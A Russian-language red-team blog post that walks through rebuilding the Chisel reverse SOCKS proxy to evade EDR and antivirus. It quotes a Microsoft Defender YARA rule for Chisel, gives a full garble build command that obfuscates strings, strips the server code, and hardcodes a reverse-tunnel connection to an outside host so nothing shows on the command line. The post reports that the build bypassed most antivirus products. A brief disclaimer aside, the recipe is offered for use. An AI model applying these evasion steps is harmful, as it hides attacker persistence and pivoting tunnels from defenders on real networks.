Привет!
Все знают, что такое reverse socks-прокси. С его помощью можно закрепляться, сканировать, пивотиться, в общем, такой инструмент критически важно иметь под рукой во время пентестов и редтимов. И будет совсем хорошо, если этот инструмент не убивается EDR’ами. Поэтому я, после 🔗 поста с метерпретером, снова заморочился (но уже не так сильно) и решил посмотреть на 🔗Chisel. Цель — Получить сборку чизела с обходом EDR и сохранением функционала. Поехали!
Дисклеймер
Существуют нормативно-правовые акты, запрещающие создание, распространение, копирование и иную активность, связанную с вредоносным ПО с целями получения несанкционированного доступа, и т.д. и т.п. Данный пост нацелен на повышение осведомленности и углубленного понимания принципов работы СЗИ.
Определяем существующие правила сигнатурного анализа:
- Публичные правила yara (Например, 🔗это) представляют собой простую проверку файла на заданные строки, преимущественно, из документации (
chisel --help). - Правила MS Defender чуть поинтереснее, но все равно проверяют только строки:
1rule HackTool_Win32_Chisel_A_2147778169_0
2{
3 meta:
4 author = "defender2yara"
5 detection_name = "HackTool:Win32/Chisel.A"
6 threat_id = "2147778169"
7 type = "HackTool"
8 platform = "Win32: Windows 32-bit platform"
9 family = "Chisel"
10 severity = "High"
11 signature_type = "SIGNATURE_TYPE_PEHSTR_EXT"
12 threshold = "3"
13 strings_accuracy = "Low"
14 strings:
15 $x_2_1 = {63 68 69 73 65 6c 2d 76 ?? 2d 63 6c 69 65 6e 74} //**chisel-v...**
16 $x_1_2 = "chiselclientclosed" ascii //weight: 1
17 $x_1_3 = "chisel-chunkedcommand" ascii //weight: 1
18 $x_1_4 = "sendchisel" ascii //weight: 1
19 $x_1_5 = "CHISEL_KEY" ascii //weight: 1
20 $x_1_6 = "chisel.pid" ascii //weight: 1
21 condition:
22 (filesize < 20MB) and
23 (
24 ((3 of ($x_1_*))) or
25 ((1 of ($x_2_*) and 1 of ($x_1_*))) or
26 (all of ($x*))
27 )
28}
Делаем выводы
- Как мы поняли из сигнатур, проверяются только сроки, связанные с чизелом, следовательно, их необходимо скрыть. Сделать это можно несколькими способами:
- Удаление. Самый простой и действенный способ. Берем все ненужные строки, такие как информация о флагах, дебаге, ошибках, и удаляем. Главная проблема и сложность заключается в том, что не все строки можно удалить без изменения логики работы программы. Примеры ненужных строк 🔗тут, 🔗тут и 🔗тут.
- Обфускация. В Golang комьюнити нашелся человек, который посмотрел на тулсет языка Go и увидел, что даже со всеми соответствующими флагами конечная сборка содержит большое количество отладочной информации. Ему это не понравилось, и он, используя особенности тулсета языка, написал программу, удаляющую эту информацию, а еще добавил возможность обфускации кода и строк, и назвал эту программу 🔗 Garble. Её мы и можем использовать для обфускации строк, а еще и на всякий случай и кода. Правда, конечный размер сборки увеличивается в 2 раза, но для нас это не критично. Вот пример её использования:
1env CGO_ENABLED=1 GOOS=windows GOARCH=amd64 garble \ # Пепеменные окружения, используются в go build, их нужно передавать и в garbme для указания платформы и ОС
2 -tiny \ # Сжимает конечный размер сборки
3 -literals \ # Обфусцирует строки
4 -seed random \ # Создатель Garble (mvdan) предусмотрел деобфускацию на случай дебага. Для этого генерируется seed, который нужно будет указать при отладке. В нашем случае это не нужно, поэтому ставим random
5 build \ # аргумент из
6 -trimpath \ # изменяет полный путь до корня исходников на относительный
7 -ldflags \
8 "-s -w -buildid= -X github.com/jpillora/chisel/share.BuildVersion=definetlynotachisel" \ # Флаги для линкера (go tool link). Тут указаны strip (удаляет отладочные символы), подистема Windows (чтобы не было консоли при запуске процесса), и переменная с измененной версией chisel (Её можно удалить, но я не уверен, как это повлияет на работу чизела)
9 -o ./notachisel.exe ./
- Помимо обфускации строк есть еще одна важная деталь с исходниках чизела — и клиент и сервер содержатся в одном исполняемом файле. Это хорошо с точки зрения развертывания приложения, а вот с точки зрения избыточности кода и потенциальные места сигнатур — плохо, но легко поправимо. Нужно просто убрать лишнее 🔗вот тут:
1<SNIP>
2 // switch subcmd {
3 // case "server":
4 // server(args)
5 case "client":
6 client(args)
7<SNIP>
Так как компилятор Go не позволяет оставлять неиспользованные переменные, нужно также будет почистить всё лишнее, это тоже не сложно. Теперь сборка будет работать только в режиме клиента.
- И еще одна важная вещь, очень любимая сотрудниками SOC и песочницами — аргументы при запуске процесса. Понятно, что будет, если мы запустим процесс
chisel.exe client 1.2.3.4:8080 R:socks. Стриггерится либо EDR, либо корреляция в SIEM. Самый ленивый способ избежать алерта — положить эти параметры прямо в исходники, а именно в main.go:
1func main() {
2 <SNIP>
3
4 if *version || *v {
5 fmt.Println(chshare.BuildVersion)
6 os.Exit(0)
7 }
8
9 args := flag.Args()
10
11 // Вот наши аргументы
12 args = []string{"client", "1.2.3.4:8080", "R:socks"}
13
14 subcmd := ""
15 if len(args) > 0 {
16 subcmd = args[0]
17 args = args[1:]
18 }
19
20 <SNIP>
21}
И с помощью данных нехитрых манипуляций получилось обойти большинство AV.
Проверка сборки на Virus Total
Полезные ссылки
- 🔗Вебинар про устройство Garble от его создателя. Рекомендуется к ознакомлению
- 🔗Исходники Garble
- 🔗Исходники Chisel
Автор: 🔗@pyfffe
Наш Telegram канал: 🔗REDTalk